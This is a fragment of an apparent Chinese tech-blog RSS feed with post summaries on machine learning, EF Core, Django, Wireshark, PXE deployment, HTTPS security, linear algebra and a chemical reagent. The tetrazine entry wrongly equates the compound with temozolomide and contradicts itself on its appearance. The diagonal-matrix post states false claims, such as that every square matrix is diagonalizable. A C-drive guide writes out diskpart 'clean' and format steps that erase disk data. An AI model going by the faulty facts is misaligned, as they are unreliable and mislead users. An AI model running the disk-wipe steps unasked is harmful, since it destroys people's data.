      <description>文章目录 1 前言1.1 项目介绍 2 情感分类介绍3 数据集4 实现4.1 数据预处理4.2 构建网络4.3 训练模型4.4 模型评估4.5 模型预测 5 最后 1 前言 🔥 优质竞赛项目系列，今天要分享的是&#xA;基于GRU的 电影评论情感分析&#xA;该项目较为新颖，适合作为竞赛课题方向，学长非常推荐！&#xA;🧿 更多资料, 项目分享：&#xA;https://gitee.com/dancheng-senior/postgraduate&#xA;1.1 项目介绍 其实，很明显这个项目和微博谣言检测是一样的，也是个二分类的问题，因此，我们可以用到学长之前提到的各种方法，即：&#xA;朴素贝叶斯或者逻辑回归以及支持向量机都可以解决这个问题。&#xA;另外在深度学习中，我们可以用CNN-Text或者RNN以及LSTM等模型最好。&#xA;当然在构建网络中也相对简单，相对而言，LSTM就比较复杂了，为了让不同层次的同学们可以接受，学长就用了相对简单的GRU模型。&#xA;如果大家想了解LSTM。以后，学长会给大家详细介绍。&#xA;2 情感分类介绍 其实情感分析在自然语言处理中，情感分析一般指判断一段文本所表达的情绪状态，属于文本分类问题。一般而言：情绪类别：正面/负面。当然，这就是为什么本人在前面提到情感分析实际上也是二分类问题的原因。&#xA;3 数据集 学长本次使用的是非常典型的IMDB数据集。&#xA;该数据集包含来自互联网的50000条严重两极分化的评论，该数据被分为用于训练的25000条评论和用于测试的25000条评论，训练集和测试集都包含50%的正面评价和50%的负面评价。该数据集已经经过预处理：评论（单词序列）已经被转换为整数序列，其中每个整数代表字典中的某个单词。&#xA;查看其数据集的文件夹：这是train和test文件夹。&#xA;接下来就是以train文件夹介绍里面的内容&#xA;然后就是以neg文件夹介绍里面的内容，里面会有若干的text文件：&#xA;4 实现 4.1 数据预处理 ​&#xA;#导入必要的包 import zipfile import os import io import random import json import matplotlib.pyplot as plt import numpy as np import paddle import paddle.</description>
    </item>
    <item>
      <title>2023湾区产城创新大会：培育数字化供应链金融新时代</title>
      <link>https://bchobby.github.io/posts/12f378707dd75fc2a30bbebd8b500d75/</link>
      <pubDate>Tue, 02 Jan 2024 12:23:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12f378707dd75fc2a30bbebd8b500d75/</guid>
      <description>2023年12月26日，由南方报业传媒集团指导，南方报业传媒集团深圳分社主办的“新质·新力——2023湾区产城创新大会”在深圳举行。大会聚集里国内产城研究领域的专家学者以及来自产业园区、金融机构、企业的代表，以新兴产业发展为议题，围绕科技能力、金融服务、空间规划、产业链等要素，共同探讨大湾区产城高质量发展，为产城创新和融合发展建言献策。&#xA;与此同时，大会还对过去一年里在科技创新和服务模式转型领域有卓越表现和突出贡献的深圳企业进行表彰。在本次评选中，联易融通过前沿的技术实力和成熟的数字化解决方案荣获“行业发展创新奖”。&#xA;深圳向“新”而行，科技培育供应链创新力&#xA;深圳从蛇口工业区起家，发展为产城生态效率最高、营商环境最好的中国现代化超大城市之一。当前，深圳统筹推进以先进制造业为骨干的20大战略性新兴产业集群和8大未来产业的发展，始终向“新”而行，在发展新质生产力上，蓄势赋能，引领大湾区乃至世界之“先”。&#xA;粤港澳大湾区产园联盟理事长、深圳市创新企业育成研究院院长郭宏伟在大会期间表示，“产业园区聚集领先的科技企业和高质量产业，现代信息网络、交通网络将园区和城市紧密相连，形成了一个相互融合、协同发展的产城格局。”&#xA;在过去40多年的发展中，深圳通过制造业、高科技产业、金融服务业等多元化产业布局，支撑着城市的健康发展，凭借着创新的产业政策、优越的营商环境和强大的科技实力，在全球范围内展现出强大的竞争力。依托湾区，毗邻港澳，深圳是国际贸易的重要门户城市，这里也形成了全国最大的供应链服务集群。&#xA;作为首批全国供应链创新与应用示范城市之一，深圳在今年发布《深圳市加快推进供应链创新与发展三年行动计划（2023-2025年）》，围绕供应链的创新发展进行了全面细致的规划，并指出：“到2025年，供应链能力明显增强，供应链技术应用水平居全国前列，培育一批供应链创新标杆企业，把深圳打造成为供应链创新与应用的示范高地。”&#xA;产业集群离不开供应链服务生态的创新支撑&#xA;深圳作为全国的创新高地，亦深刻意识到先进制造离不开通过产业集群的形成，离不开供应链服务生态的创新完善。目前深圳拥有全国80%以上供应链管理服务企业的总部，并有大批积极开展供应链金融的金融机构。各类供应链金融相关市场主体在深圳已经形成生态集聚，具备供应链金融发展的产业基础和强劲需求。&#xA;今年7月，国家金融监督管理总局深圳监管局、深圳市发改委、深圳市工业和信息化局、深圳市地方金融监督管理局发布《关于银行业保险业支持深圳制造强市建设的指导意见》，要求增强金融服务的科技支撑，积极发展产业数字金融，推动“科技-产业-金融”良性循环。&#xA;以联易融为代表的供应链金融科技企业为例，公司专注于推动供应链金融全流程的数字化发展，聚焦于人工智能、区块链、云计算、大数据等先进技术在供应链生态的应用，提升整个供应链金融生态系统的透明度和连通性。今年以来，联易融成功中标多家央国企及头部民企供应链金融综合平台项目，并全面启动“智慧产融司库平台”布局；并在海外多个国家和地区实现市场拓展和跨境业务突破，依托公司成熟的海外供应链金融科技系统实施及运营经验，助力出海企业建设高效全面的全球供应链管理体系。&#xA;截至2023年上半年，联易融与1548家核心企业及金融机构达成合作，覆盖中国百强企业中的41家及全部中国前20大商业银行，其供应链金融科技解决方案覆盖了申万行业分类中全部31个行业。在本次评选中，联易融凭借自身的科技优势和服务创新经验荣获“行业发展创新奖”，公司实力再度彰显。&#xA;把握数字化机遇，依托粤港澳大湾区优质的营商环境和深圳的区域优势，联易融将持续深耕供应链金融科技这一领域，专注于更有质量的增长，以科技优势不断为供应链生态注入活力。</description>
    </item>
    <item>
      <title>Ef Core花里胡哨系列(1) SafeDelete、ReadOnly、Audit 安全删除、只读、审计等</title>
      <link>https://bchobby.github.io/posts/d17e92af19eed94b98f6f9132688181b/</link>
      <pubDate>Tue, 02 Jan 2024 12:02:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d17e92af19eed94b98f6f9132688181b/</guid>
      <description>Ef Core花里胡哨系列(1) SafeDelete、ReadOnly、Audit 安全删除、只读、审计等 在软件设计中，软删除是一种常见的数据管理技术，用于标记和隐藏被删除的数据，而不是永久地从数据库中删除它们。软删除通常通过在数据表中添加一个额外的标志列（例如&#34;IsDeleted&#34;）来实现。当数据被删除时，该标志列被设置为指示删除状态的值（通常是true或1），而不是直接从数据库中删除数据记录。&#xA;使用软删除的主要原因是保留数据的完整性和可追溯性。通过软删除，我们可以避免永久删除数据，从而避免意外或不可逆的数据丢失。软删除还可以帮助我们满足法律、合规性或审计要求，因为我们可以跟踪和记录数据的删除历史。&#xA;另一个重要的原因是软删除可以提供更好的用户体验。软删除允许用户恢复被删除的数据，而不必联系管理员或支持团队。这对于误删除或需要恢复数据的情况非常有用。&#xA;然而，软删除也有一些潜在的缺点。首先，软删除会增加数据库的存储需求，因为被删除的数据仍然存在于数据库中。其次，软删除可能会导致查询和性能方面的复杂性，因为我们需要在查询中过滤掉已删除的数据。&#xA;总之，软删除是一种在软件设计中常见的数据管理技术，它通过标记和隐藏被删除的数据来保留数据的完整性和可追溯性。它提供了更好的用户体验，并满足法律和合规性要求。然而，软删除也有一些潜在的缺点，需要在设计和实现时加以考虑。&#xA;定义约束 我们先定义一个安全删除的接口，用于约束对应的实体类。&#xA;public interface ISoftDelete { public bool IsDeleted{get; set;} } 通过重写ef core来实现对实现了该接口的成员进行自动处理 通过读取ef core上下文中追踪的实体，如果是继承自ISoftDelete接口，说明便不是直接删除数据，而是软删除即更新数据，将实体对应的IsDeleted标记更改为true，随后将状态改为EntityState.Modified即进行更新操作。&#xA;public class SampleDbContext(DbContextOptions&amp;lt;SampleDbContext&amp;gt; options, IServiceProvider serviceProvider) : DbContext(options) { public override async Task&amp;lt;int&amp;gt; SaveChangesAsync(CancellationToken cancellationToken = new CancellationToken()) { foreach (var entityEntry in ChangeTracker.Entries&amp;lt;IEntity&amp;gt;()) { if (entityEntry is { Entity: ISafeDelete safeDelete, State: EntityState.Deleted }) { safeDelete.IsDeleted = true; entityEntry.State = EntityState.Modified; } } return await base.</description>
    </item>
    <item>
      <title>Django发送QQ邮件</title>
      <link>https://bchobby.github.io/posts/0d5417aa1515fe67e602c592592305ca/</link>
      <pubDate>Tue, 02 Jan 2024 12:01:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d5417aa1515fe67e602c592592305ca/</guid>
      <description>创建一个表单，供用户填写他们的姓名和电子邮件、电子邮件收件人和可选的注释&#xA;创建blog/forms.py&#xA;from django import forms class EmailPostForm(forms.Form): name = forms.CharField(max_length=25) email = forms.EmailField() to = forms.EmailField() comments = forms.CharField(required=False,widget=forms.Textarea) name会出现在邮件标题和正文中，是发起分享的人qli➊email是发起分享的人的邮件地址，不是系统发送邮件的地址，只是展示在邮件标题分享人括号中。系统发送邮件地址是写到setting.py中的EMAIL_HOST_USER➋to 是收件人地址➌comments是分享的备注信息，会出现在邮件正文➍ 通过继承form基类创建了一个表单。Django使用不同的字段类型来验证字段。&#xA;每个字段类型都有一个默认的HTML小部件，name字段为CharField，使用&amp;lt;input type=&#34;text&#34;&amp;gt; HTML标签呈现。&#xA;使用widget属性可以覆盖默认HTML部件。在comments字段中，使用Textarea部件将用&amp;lt;textarea&amp;gt;标签，而不是默认的&amp;lt;input&amp;gt;标签。&#xA;required将comments字段定义为可选字段。&#xA;表单字段 | Django 文档 | Django (djangoproject.com)&#xA;📌表单可以驻留在Django项目的任何地方。惯例是将它们放在每个应用程序的forms.py文件中。&#xA;创建一个视图，用于处理提交的数据并发送电子邮件&#xA;from .forms import EmailPostForm from django.core.mail import send_mail def post_share(request, post_id): post = get_object_or_404(Post, id=post_id, status=&#39;published&#39;) sent = False if request.method == &#39;POST&#39;: form = EmailPostForm(request.POST) if form.is_valid(): cd = form.cleaned_data post_url = request.</description>
    </item>
    <item>
      <title>【网络技术】【Kali Linux】Wireshark嗅探（四）域名系统（DNS）</title>
      <link>https://bchobby.github.io/posts/20f69948343c0d026eea68ed8c147f9b/</link>
      <pubDate>Tue, 02 Jan 2024 11:59:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20f69948343c0d026eea68ed8c147f9b/</guid>
      <description>一、实验目的 本次实验使用wireshark流量分析工具进行网络嗅探，旨在了解域名系统（DNS）的工作原理。&#xA;二、域名系统概述 简单来说，域名系统（Domain Name System, DNS）将域名（可以理解为“网址”，例如www.google.com）转换为计算机更容易处理的IP地址。该过程被称为“解析”，简化的过程如下图所示：&#xA;三、实验网络环境设置 本次实验使用Kali Linux虚拟机完成，主机操作系统为Windows 11，虚拟化平台选择Oracle VM VirtualBox，组网模式选择“NAT网络”，如下图所示：&#xA;四、DNS协议报文抓取 1、实验组网&#xA;本次实验只需要1台Kali Linux虚拟机即可完成，网络模式选择NAT网络，保证其与外网的连通。本次实验的组网如下图所示：&#xA;（Kali Linux 的网卡IP地址为10.0.2.5）&#xA;2、DNS协议报文捕获及分析&#xA;（1） 使用Kali自带的火狐浏览器访问百度 （www.baidu.com）：&#xA;（2） 与此同时，启动Kali自带的Wireshark流量分析工具，在“过滤条件（filter）”框中，填写“dns”，抓取DNS协议报文：&#xA;（3） 重点关注序号为1和4的报文 （报文序号前的→和←代表对应的一组请求（query）和应答（response）报文）：&#xA;1号报文DNS（协议）部分的内容：&#xA;4号报文DNS（协议）部分的内容：&#xA;（4） 我们注意到，第2个应答的IP地址值为110.242.68.66，我们在终端中输入&#xA;ping www.baidu.com，解析出的IP地址为110.242.68.3，即位于同一网段下。&#xA;至此，本次实验结束。&#xA;五、参考文献 《计算机网络（第7版）》，谢希仁 编著，北京，电子工业出版社，2017年1月。</description>
    </item>
    <item>
      <title>电脑C盘满了格式化清理的方法</title>
      <link>https://bchobby.github.io/posts/75ea1d0acfd8bc22b4d9bc4999635101/</link>
      <pubDate>Tue, 02 Jan 2024 11:56:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75ea1d0acfd8bc22b4d9bc4999635101/</guid>
      <description>在电脑操作过程中，用户发现C盘已经满了，导致电脑运作变得卡顿，所以想格式化清理C盘的内容，但不知道具体的清理操作步骤，接下来小编给大家详细介绍格式化电脑C盘的方法步骤，帮助大家轻松格式化C盘，腾出更多的运作空间，电脑运行更快速。&#xA;电脑C盘满了格式化清理的方法：&#xA;方法一：通过单击鼠标右键点击格式化&#xA;1. 打开“我的电脑”，选择本地磁盘C盘，鼠标右键点击“格式化”。&#xA;2. 此时可能会弹出“无法格式化该卷”的提示。&#xA;3. 再次鼠标右键点击C盘，选择“属性”。&#xA;4. 在弹出的对话框中，点击“磁盘清理”。&#xA;5. 选择“系统文件”，点击“确定”按钮。&#xA;6. 等待系统分析磁盘后，勾选需要清理的文件类型，例如Windows更新等。&#xA;7. 点击“确定”按钮，系统将会帮助清理需要清理的文件。&#xA;8. 清理完毕后，可以再次点击C盘右键，选择“格式化”进行格式化操作。&#xA;方法二：dos命令格式化C盘&#xA;1. 在开始菜单栏界面中输入cmd，并以管理员身份运行。&#xA;2. 输入diskpart进入磁盘分区工具。&#xA;3. 使用listdisk命令查看可用磁盘信息。&#xA;4. 慎重选择需要格式化的磁盘编号，0通常为系统盘。&#xA;5. 使用clean命令清空磁盘数据。&#xA;6. 使用creatpartitionprimary命令创建主分区，随后使用formatfs命令指定格式化方式和分区标签，例如格式化为NTFS文件系统并为磁盘分区标签设为“E：”。这样就成功格式化了该磁盘。</description>
    </item>
    <item>
      <title>线性代数_对角矩阵</title>
      <link>https://bchobby.github.io/posts/3ab477c370238f8bfae52ae3d764f741/</link>
      <pubDate>Tue, 02 Jan 2024 11:32:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ab477c370238f8bfae52ae3d764f741/</guid>
      <description>对角矩阵是线性代数中一种特殊的矩阵类型，它在数学理论和实际应用中都有着重要的地位。对角矩阵的定义如下：&#xA;设 \( A \) 是一个 \( n \times n \) 的方阵，如果满足除主对角线上的元素外，其他元素都为零，即 \( A_{ij} = 0 \) 当 \( i \neq j \)，那么矩阵 \( A \) 称为对角矩阵。&#xA;对角矩阵具有以下几个重要的性质：&#xA;1. **主对角线**：对角矩阵的所有非零元素都位于主对角线上，即 \( A_{ii} \neq 0 \)。&#xA;2. **对称性**：对角矩阵是关于主对角线对称的，即 \( A_{ij} = A_{ji} \)。&#xA;3. **行列式**：对角矩阵的行列式 \( \det(A) \) 等于主对角线上元素的乘积，即 \( \det(A) = \prod_{i=1}^{n} A_{ii} \)。&#xA;4. **特征值和特征向量**：对角矩阵的特征值就是主对角线上的元素，特征向量是单位向量。&#xA;5. **可对角化**：任何方阵都可以通过相似变换转化为对角矩阵，这个过程中涉及到的矩阵称为对角化矩阵。&#xA;6. **乘积**：两个对角矩阵的乘积仍然是对角矩阵。&#xA;对角矩阵在数学中有着广泛的应用，例如在求解线性方程组、特征值问题、矩阵分解等领域。此外，对角矩阵在物理学、工程学、经济学等学科中也有着重要的应用。对角矩阵的乘法运算相对简单，因此在某些计算中可以简化运算过程。</description>
    </item>
    <item>
      <title>离散点过滤算法</title>
      <link>https://bchobby.github.io/posts/48f148bd0ab809757ee6e4184480990a/</link>
      <pubDate>Tue, 02 Jan 2024 11:31:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48f148bd0ab809757ee6e4184480990a/</guid>
      <description>离散点过滤算法是数据处理中常用的一种算法，主要用于去除数据中的离群点或噪声点。这些离群点可能是由于测量误差、异常事件或其他原因产生的。以下是一些常见的离散点过滤算法：&#xA;Z-score过滤算法：该算法通过计算每个数据点的Z-score（标准分数）来判断其是否为离群点。如果Z-score的值大于某个设定的阈值（如3.0或3.5），则认为该点为离群点并予以去除。IQR过滤算法：该算法通过计算数据点的四分位距（IQR）来识别离群点。如果一个数据点小于Q1 - k * IQR或大于Q3 + k * IQR，其中Q1和Q3分别为数据的下四分位数和上四分位数，k是一个常数（通常取3.0或1.5），则认为该点为离群点并去除。基于距离的过滤算法：该算法通过计算数据点与其邻居的距离来判断是否为离群点。如果一个数据点与其邻居的距离大于某个设定的阈值，则认为该点为离群点并去除。密度过滤算法：该算法通过计算数据点的密度来判断是否为离群点。如果一个数据点的密度低于某个设定的阈值，则认为该点为离群点并去除。 这些算法各有优缺点，可以根据实际的数据分布和需求选择适合的算法。同时，为了确保数据的准确性和可靠性，通常会结合多种过滤算法进行离散点的去除。</description>
    </item>
    <item>
      <title>MyBatis学习一：快速入门</title>
      <link>https://bchobby.github.io/posts/30c08983b69661e8fcbae7f0d61148a9/</link>
      <pubDate>Tue, 02 Jan 2024 11:22:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30c08983b69661e8fcbae7f0d61148a9/</guid>
      <description>前言 公司要求没办法，前端也要了解一下后端知识，这里记录一下自己的学习&#xA;学习教程：黑马mybatis教程全套视频教程，2天Mybatis框架从入门到精通&#xA;文档：&#xA;https://mybatis.net.cn/index.html&#xA;MyBatis 快速入门：查询user表中所有数据&#xA;创建user表，添加数据创建模块，导入坐标编写mybatis核心配置文件 ----&amp;gt;替换连接信息，解决硬编码问题编写sql映射文件—&amp;gt; 统一管理sql语句，解决硬编码问题编码 定义POJO类，对应数据库的表加载核心配置文件，获取SqlSessionFactory对象获取SQLSession对象，执行sql语句释放资源 创建模块 创建模块&#xA;File - &amp;gt; New -&amp;gt; Module&#xA;导入坐标&#xA;pom.xml&#xA;&amp;lt;dependencies&amp;gt; &amp;lt;!--mybatis依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.9&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--mysql驱动依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.0.31&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- junit 单元测试 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.13.2&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- slf4j 日志 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.slf4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;slf4j-api&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.7.30&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- logback 日志 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;ch.qos.logback&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;logback-classic&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.3&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;ch.qos.logback&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;logback-core&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.3&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; src/main/resources/logback.xml</description>
    </item>
    <item>
      <title>php安装扩展event 提示 No package ‘openssl‘ found 解决方法</title>
      <link>https://bchobby.github.io/posts/79d2b3c62329ab7471ce19b30202c156/</link>
      <pubDate>Tue, 02 Jan 2024 11:21:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79d2b3c62329ab7471ce19b30202c156/</guid>
      <description>在使用pecl编译安装最新版event模块的时候提示 No package &#39;openssl&#39; found , 可是本机是安装了openssl的, 编译时找不到, 大概率就是环境配置的问题了, 增加 OPENSSL_CFLAGS OPENSSL_LIBS环境变量即可解决. 异常提示信息:&#xA;checking for openssl &amp;gt;= 1.0.2... no configure: error: Package requirements (openssl &amp;gt;= 1.0.2) were not met: No package &#39;openssl&#39; found Consider adjusting the PKG_CONFIG_PATH environment variable if you installed software in a non-standard prefix. Alternatively, you may set the environment variables OPENSSL_CFLAGS and OPENSSL_LIBS to avoid the need to call pkg-config. See the pkg-config man page for more details.</description>
    </item>
    <item>
      <title>HTTPS 存在哪些安全问题，有什么应对方案</title>
      <link>https://bchobby.github.io/posts/ca545e128a2d506771516cabee29e2f0/</link>
      <pubDate>Tue, 02 Jan 2024 11:17:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca545e128a2d506771516cabee29e2f0/</guid>
      <description>HTTPS 是 HTTP 的安全版本，通过使用 SSL/TLS 协议对通信内容进行加密，提供了以下几个关键的安全特性：数据加密、身份认证和完整性保护。尽管 HTTPS 在很大程度上提高了安全性和数据传输的安全性，但仍然存在一些潜在的安全问题。德迅云安全今天给大家简单分享下一些可能的问题以及相应的应对方案：&#xA;1、证书信任链问题：当客户端验证服务器的证书时，需要一个可靠的证书颁发机构（CA）来建立信任链。然而，在实际应用中，存在证书信任链被破坏或被攻击者伪造的风险，这将对数据传输的安全性造成威胁。如果攻击者能够伪造证书或破坏证书信任链，他们可能会冒充合法服务器并窃取或篡改数据。&#xA;应对方案：建议使用受信任的（CA）颁发的证书，确保证书的真实性和合法性。对于需要更高安全性的场景，可以实施私有证书颁发机构。&#xA;2、弱加密算法和协议问题：尽管 SSL/TLS 支持多种加密算法和协议，但一些算法可能由于已知的安全漏洞而被弱化或废弃。此外，HTTPS 协议本身可能存在一些弱点，这些弱点可能会使其容易受到各种攻击。&#xA;例如 BEAST 攻击和 POODLE 攻击等。这些攻击方式利用了 HTTPS 协议中的一些漏洞，使得攻击者能够窃取会话密钥或者加密的敏感信息。因此，为了提高网络通信的安全性，我们需要采取一些措施来解决这些问题。&#xA;应对方案：为了解决 HTTPS 协议存在的弱点问题，我们可以持续关注最新的加密算法和协议的安全性，确保使用最新的、经过广泛审查和认可的加密算法和协议，如 TLS 1.3。&#xA;3、重放攻击：如果攻击者截获到之前通信的记录，他们可能会重新播放这些记录来攻击系统。&#xA;应对方案：使用时间戳、Nonce 或其他机制来确保每个通信请求都是唯一的。&#xA;4、客户端支持问题：一些老旧或过时的客户端可能不支持 HTTPS，或者其加密库可能存在已知的安全漏洞。&#xA;应对方案：尽可能使用最新的客户端，并确保其支持最新的加密算法和协议。对于必须支持老旧客户端的情况，应确保这些客户端的安全更新和补丁是最新的。&#xA;5、配置和管理问题：错误的 HTTPS 配置（如错误的证书、错误配置安全头等）可能会导致安全漏洞。&#xA;安全头是一组非常重要的 HTTP 响应头，它们提供了关于网站安全性的关键信息。这些安全头包括 Strict-Transport-Security（HSTS）、Content-Security-Policy（CSP）、X-XSS-Protection 等。这些安全头能够有效地保护网站免受各种网络攻击，如跨站脚本攻击（XSS）和中间人攻击等。&#xA;缺少这些安全头可能会给网站带来严重的安全漏洞，使攻击者能够轻松地渗透到网站中，窃取敏感信息或执行恶意代码。例如，缺乏 HSTS 安全头可能会导致攻击者通过 HTTP 协议而不是 HTTPS 进行通信，从而绕过 SSL/TLS 加密，使得通信内容容易被截获和窃听。&#xA;应对方案：建议在网站配置中正确使用和配置，确保所有 HTTPS 配置都是正确的，这包括在 HTTP 响应中设置正确的安全头，并确保它们具有正确的值以防止各种类型的攻击。同时，也需要定期检查和更新配置，定期进行安全审计和渗透测试，以应对新的安全威胁和攻击手段，以确保系统的安全性。&#xA;6、私有密钥泄露风险：如果服务器的私有密钥泄露，攻击者可能会利用它来解密通信内容或冒充服务器。&#xA;应对方案：实施严格的访问控制和权限管理，确保只有授权的人员能够访问服务器的私有密钥。此外，应定期审计和监控系统的安全性，以确保没有未授权的访问或异常行为。&#xA;7、中间人攻击：中间人攻击是一种严重的网络安全威胁，通常发生在不安全的网络通信中。尽管 HTTPS 提供了对等实体认证，但中间人攻击仍然可能发生。&#xA;在这种攻击中，攻击者会巧妙地插入自己，位于通信的两端之间，从而能够拦截和窃听机密的通信内容。这种攻击方式不仅侵犯了用户的隐私，还可能导致身份盗窃、欺诈等进一步的问题。例如，如果攻击者能够篡改客户端或服务器的 DNS 记录，从而将用户流量重定向到恶意网站。用户在访问这些网站时，可能会被要求提供个人信息或下载恶意软件，从而造成安全威胁。&#xA;应对方案：&#xA;1、使用 DNSSEC（DNS 安全性扩展）来保护 DNS 记录不被篡改，并确保客户端使用安全的 DNS 解析器。此外，实施双向认证可以进一步增加对等实体认证的安全性。</description>
    </item>
    <item>
      <title>国产服务器操作系统PXE安装脚本 可重复执行（rc08版本）</title>
      <link>https://bchobby.github.io/posts/e4741669b7e5bdc6ef14df8b115b606b/</link>
      <pubDate>Tue, 02 Jan 2024 11:13:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4741669b7e5bdc6ef14df8b115b606b/</guid>
      <description>执行效果如下：&#xA;#!/bin/bash #Date:2023/12/25 #Func:一键部署pxe服务器 #Author:Zhanghaodong #Version:2023.12.25.05 #Note:仅适用x86架构uefi安装 # 1.此脚本可多次重复执行。 # 2.如遇到某个服务异常退出，检查响应状态码排错后，再次执行脚本即可。 # 3.此脚本仅仅适用于CRITC-HongAn-Server-x86_64-V1.0-rc08.iso或CRITC-HongAn-Server-aarch-V1.0-rc08.iso # 4.在填写以下参数时，请注意：x86架构可用uefi或leagcy引导，其对应的filename分别是grubx64.efi和pxelinux.0 # arm只能用uefi引导且filename只能是grubaa64.efi #Manually Writing Basic Information PXE_SERVER=&#34;11.0.1.181&#34; ISO=&#34;/root/CRITC-HongAn-Server-x86_64-V1.0-rc08.iso&#34; CLIENT_ARCH=&#34;x86&#34; #x86 or arm CLIENT_BOOT_MODE=&#34;uefi&#34; #uefi or leagcy #PXE_FILE_NAME=&#34;pxelinux.0&#34; #x86下uefi对应的grubx64.efi,leagcy对应pxelinux.0；arm对应的只有grubaa64.efi ROOT_PASSWORD=&#34;qwer1234!@#$&#34; #Dhcp Config Information SUBNET=&#34;11.0.1.0&#34; #子网 NETMASK=&#34;255.255.255.0&#34; #掩码 GATEWAY=&#34;11.0.1.1&#34; #网关 RANGE_IP_LOW=&#34;11.0.1.200&#34; #ip范围 RANGE_IP_HIGH=&#34;11.0.1.230&#34; #ip范围 function Log { local log_level=$1 local log_info=$2 local line=$3 local script_name=$(basename $0) case ${log_level} in &#34;INFO&#34;) echo -e &#34;\033[32m$(date &#34;+%Y-%m-%d %T.%N&#34;) [INFO]: ${log_info}\033[0m&#34;</description>
    </item>
    <item>
      <title>Tetrazine-amine HCl salt，1416711-59-5，在酸性条件下是稳定的，Tz-NH2</title>
      <link>https://bchobby.github.io/posts/3e1d3864de131211d4eb3408c4b6ba64/</link>
      <pubDate>Tue, 02 Jan 2024 11:06:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e1d3864de131211d4eb3408c4b6ba64/</guid>
      <description>英文名称：Tetrazine-amine HCl salt&#xA;中文名称：四嗪-氨基HCL盐&#xA;CAS：1416711-59-5&#xA;分子式：C9H10ClN5&#xA;分子量：223.66&#xA;外观：红色固体&#xA;纯度：&amp;gt;95%&#xA;结构式：&#xA;西安凯新生物科技有限公司Tetrazine-amine HCl salt结构式&#xA;产品介绍：&#xA;四嗪胺单盐酸盐是四嗪胺的单盐酸盐形式。四嗪胺是一种四嗪连接体,可用于通过环加成共价标记活细胞。&#xA;（4-（1,2,4,5-四嗪-3-基）苯基）甲胺盐酸盐是一种合成化合物，属于胺类有机分子。它也被称为替莫唑胺或TMZ。TMZ是一种前药，在生理条件下发生自发化学反应，产生一种名为甲基-三氮烯-1-基-咪唑-4-甲酰胺（MTIC）的活性代谢产物。该化合物为白色至灰白色结晶粉末，可溶于水、甲醇和乙醇。该化合物的熔点为232-234°C，pKa值为9.75。该化合物在酸性条件下是稳定的，但在碱性条件下进行水解。&#xA;合成方法：&#xA;（4-（1,2,4,5-四嗪-3-基）苯基）甲胺盐酸盐的合成涉及3-（4-溴苯基）-1,2,4-5-四嗪与氨和盐酸水溶液的反应。反应产生盐酸盐形式的（4-（1,2,4,5-四嗪-3-基）苯基）甲胺盐酸盐。&#xA;储存条件：-20°C，避光避湿&#xA;用途：仅供科研使用，不用于诊疗&#xA;相关推荐：&#xA;Tetrazine-amine HCl salt&#xA;MethylTetrazine-amine HCl salt&#xA;Methyltetrazine-PEG4-COOH&#xA;Methyltetrazine-PEG4-NHS ester&#xA;Methyltetrazine-propylamine HCl salt&#xA;Methyltetrazine-PEG4-amine HCl salt&#xA;Methyltetrazine-PEG5-Alkyne&#xA;Tetrazine-PEG4-amine HCl salt&#xA;Me-Tetrazine-PEG4-amine HCl salt&#xA;Tetrazine-PEG5-COOH&#xA;编辑KLS。</description>
    </item>
    <item>
      <title>Win7系统提示找不到KBDSORS1.DLL文件的解决办法</title>
      <link>https://bchobby.github.io/posts/23ef23fdb61131eabe30668c0fd95f6a/</link>
      <pubDate>Tue, 02 Jan 2024 11:02:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23ef23fdb61131eabe30668c0fd95f6a/</guid>
